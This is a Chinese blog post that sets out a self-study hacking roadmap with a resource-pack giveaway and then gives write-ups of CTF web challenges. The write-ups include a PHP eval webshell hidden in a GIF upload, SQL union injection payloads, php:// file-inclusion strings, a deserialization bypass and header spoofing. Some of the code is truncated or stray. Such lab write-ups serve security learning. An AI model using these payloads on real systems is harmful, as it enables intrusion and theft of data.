如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
echo $b;
break;
}
$b++;
}
1. $c=(array)json\_decode(@$\_GET['c']);
2. 解释这个代码 :
* @$\_GET['c']:这段代码首先尝试从GET请求中获取名为"c"的参数的值。
* json\_decode():然后使用json\_decode()函数将获取到的JSON字符串解码为PHP对象。
* (array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。
举个例子,如果你通过URL发送了如下GET请求:
Copy Codehttp://example.com/script.php?c={“name”:“John”,“age”:30}
那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:
Copy Code$c = array(
“name” => “John”,
“age” => 30
);
1. if(is\_array($c) && !is\_numeric(@$c["m"]) && $c["m"] > 2022)
2. 如果c是数组 并且 !is\_numeric(@$c["m"]) : 使用is\_numeric函数检查数组$c中名为m的元素的值是否为数字 $c["m"] > 2022 : 并且这个m元素的值 需要大于2022
3. 这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较 
4. if(is\_array(@$c["n"]) && count($c["n"]) == 2 && is\_array($c["n"][0])){
$d = array\_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
5. 如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组
6. 注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了
7. 接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序
8. 这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现
9. 这个时候就需要array\_search 这个弱类型的比较了
10. 因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的 
11. **所以就可以这么进行绕过**
12. **所以最后的abc的参数为**
13. **?a=1e9&b=53724&c={"m":"2023x","n":[[],0]}**
14. 
15. **获得;flag**
## 4.fileclude(仍是文件包含伪协议绕过)
WRONG WAY!
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); } ``` **分析代码:** * **首先,它检查是否有名为"file1"和"file2"的GET参数传入。** * **然后,将这两个参数的值分别赋给变量****file1和****f****i****l****e****1****和****file2。** * **接着,它检查****file1和****f****i****l****e****1****和****file2是否都不为空。** * **如果满足上述条件,并且****file2的内容等于"hello ctf",那么它会包含****f****i****l****e****2****的内容等于****"****h****e****ll****oc****t****f****"****,那么它会包含****file1指定的文件。** * **否则,会输出"NONONO"并终止程序。** 1. **现在需要上传file1与file2的值但是还必须将file2的值为hello ctf** 2. **仍在考php的伪协议** 3. **对于这个===hello ctf** 4. **需要用**  5. **对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议** 6. **又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf** 7. **最后的url为** 8. **?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input** 9.  10. **必须要在左边写hello ctf 才能使input函数读入这段字符串** 11. **因为是用base64编码的所以需要解码一下** 12. **flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}** ## 5.fileinclude **考点:考了cookie的利用 以及文件包含php伪协议的利用**  1. **打开后发现页面没有源码什么的** 2. **用F12查看页面源代码试试** 3.  4. **源码如下** ``` <?php if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } error_reporting(E_ALL); $lan = $_COOKIE['language']; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); } $x=file_get_contents('index.php'); echo $x; ?>
1. **查看源码后发现里面include有可控的变量 cookie 中的language**
2. **所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php**
3. 
4. **发现并没有cookie的值 所以需要我们自己写**
5. 
6. **注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了**
7. **证明填的位置正确了**
8. 
9. **所以只需要resource后面写flag即可 因为源码中拼接了.php**
10. **最后解码一下即可**
11. **cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag**
##
## 6.easyupload



**考点:考文件上传漏洞**
1. **先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接**
GIF89a
auto_prepend_file=a.jpg
1. **题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测**
2. **上传这个文件时用bp上传改一些内容也是防止后端检测**
3. 
4. **然后再上传一个jpg文件里面有一句话木马**
GIF89a
<?=eval($_REQUEST['cmd']);?>
1. 
2. **然后将格式改为jpg的格式 继续再bp repeater模块中检测**
3. 
4. **这里发现仍然上传不上去**
5. **可能是检测了内容 把php删掉改成=试试**
6. 
7. **上传成功**
8. 
9. **上传成功后,现在需要找到路径才能填蚁剑的那个地址**
10. 
11. **这个就是其地址**
12. **用蚁剑连接**
13. 
## 7.inget&robots

**由此可见是考SQL注入的**
1. **用万能钥匙来获得flag即可**
2. **?id=1'or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag**
3. 

1. **这道题考robots协议**
2. **robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。**
**简单的理解:****robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。**
**主流的搜索引擎都会遵守robots协议****。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。**
**robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。**
1. 
2. **可以发现这里有flag的文件 所以我们直接在当前目录访问即可**
3. 
##
## 8. get\_post&disabled\_button&cookie


1. **用BP抓包上传post方式b的值**
2. 

1. **遇到页面没有什么可利用的消息可以按F12来获取信息**
2. 
3. **把disable删掉即可**
4. 
5. 然后按下按钮

1. **考察cookie的相关信息**
2. **按F12**
3. 
4. **发现有cookie.php**
5. **然后访问cookie.php** 
6. **然后让我们看http response**
7. 
##
## 9. 备份文件&ics-06
1. 
2. **猜测是目录扫描,从而找到flag的文件**
3. 
4. **扫描后发现这里是空的 点开后有一个文件自动下载**
5. 
####

1. **打开后发现只有这个页面可以打开**
2. 
3. **猜测是SQL注入 于是用SQLmap检测有没有sql注入的点**
4. 
5. **发现并没有**
6. **猜测id=1 这个整数1存在暴力破解**
7. 
8. 
9. 
10. **成功找到**
## 10. PHP2
**考点:URL解码:%+assic 16进制**

1. **页面上问的是:你能认证这个网站么**
2. **先F12查看有没有可利用的消息**
3. 
4. **发现并没有什么可利用的**
5. **尝试访问一下indedx.php**
6. 
7. **这道题考的是文件的后缀 phps:文件的源代码**
8. **例如 index.phps 查看的就是index.php的源代码**
9. 
10. **试着提交的id=admin (注意是在index.php上 而不是index.phps上)**
11. 
12. **发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等**
13. **于是用url编码admin 但是 admin经过url编码后还是admin 没有变化**
14. **url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式)**
15. 
16. **所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制**
17. 
##
## 11.robots

1. **看了题目后猜测 是robots协议**
2. 
3. **然后继续查看flag的文件即可**
4. 
##
## 12. unserialize3&view\_source
**核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)**

**有一个PHP的类:xctf**
**有一个flag的对象**
**wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值**
**?code:将类以参数的形式传给xctf**
**目标:1.反序列化xctf**
**步骤:1.先序列化flag对象的值**
<?php class xctf { public $flag = '111'; } $a = new xctf(); echo serialize($a); ?>

O:4:"xctf":2:{s:4:"flag";s:3:"111";}
将1改成2即可绕过wakeup功能


**提交url即可**
**注意:1.如果flag这个对象如果不是公有的对象是私有的话**
**且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00**
**也就是改为 %00xctf%00flag**
**注意这个%00不是空格而是url编码**

1. 
2. 题目介绍鼠标右键不管用了
3. 按F12试试
4. 
5. 查看页面源代码发现存在flag
6. cyberpeace{911f212270286f4c4aa587e1216a9a49}
## 13.weak\_auth&simple\_php


1. **由这个的提示可以看出 用户名为admin**
2. **这时候需要猜密码**
3. **于是用BP的密码暴力破解**
4. 
5. **输错密码后发现是check.php**
6. **F12查看页面源代码看看**
7. 
8. **发现给了个提示 说 你需要一个字典**
9. **所以用BP的暴力破解**
10. 
11. **发现flag**

1. **首先需要上传一个a的值 a的值必须等于0 而且a还得存在**
2. **这里输入?a=0试试 发现并没有反应 可能a=0是不存在的**
3. **输入 a=‘0’字符串试试**
4. 
5. **发现有反应了**
6. **接下来看b**
7. **这个b如果是数字的话就会退出 所以b不能是数字 但是不是数字还得大于1234**
8. **这里就有php一种弱语言的特性 比如 1235c>1234**
9. **所以b=1235c的话 就满足条件了**
10. 
##
## 14. NewsCenter(SQL注入)

1. **查看页面后发现只有search new那一栏可以输入,尝试输入一些东西看看有没有什么变化的东西**
2. 
3. **输入1,2,3后分别有不同的内容回显**
4. **猜测是SQL注入**
5. **输入1' or 1=1 #后发现**
6. 
7. **回显了news的全部内容**
8. **查询可利用的字段**
9. **发现到4的时候跳转到了另一个界面**
10. 
11. **说明有三个可利用的字段**
12. **接下来用union联合查询查询哪几个字段有回显点**
13. 
14. **发现2和3有回显点**
15. **接下来就是查询数据库 表名 字段的数据**
16. **查询数据库:** 
17. **查询表名:1' union select 1,group\_concat(table\_name),3 from information\_schema.tables where table\_schema=database() #** 
18. **查询字段名:****1' union select 1,group\_concat(column\_name),3 from information\_schema.columns**
**where table\_name="secret\_table" # 注意secret\_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如:0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数**
**1' union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显**

1. **接下来查询fl4g这个字段的数据**
2. **1' union select 1,fl4g,3 from secret\_table #**
3. 
4. **得到flag**
## 15.upload1
1. 
2. **看出文件上传漏洞**
3. **先上传一个ctf.php试试**
4. 
5. **发现还没点击上传就弹框了**
6. **这时候只需要禁用JS脚本即可**
7. 
8. 
9. **然后再次上传 发现上传成功**
10. **然后用蚁剑连接即可**
11. 
12. 
##
## 16.xff\_referer

1. **考http请求头 IP来源**
2. 
3.
X-Forwarded-For 尝试这个
1. **抓包写即可**
2. 
3. **接下来需要考虑http 的来源**
4. 
5. 
##
## 17.command\_execution
1. **远程代码执行漏洞**
2. 
3. **而且没有任何的WAF**
4. 
5. 
6. find / -name "flag\*" :这行代码的意思是 从根目录是开始找 flag 以及flag后面仍有东西的文件
7. 
##
## 18.web2
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ //对字符串进行反转 如果是abc 那么就是 cba $_o=strrev($str); // echo $_o; for($_0=0;$_0
1. **考点就是写一个解密算法 把源码倒过来写即可**
<?php function decode($str) { $a=base64_decode((strrev(str_rot13($str)))); for($_0=0;$_0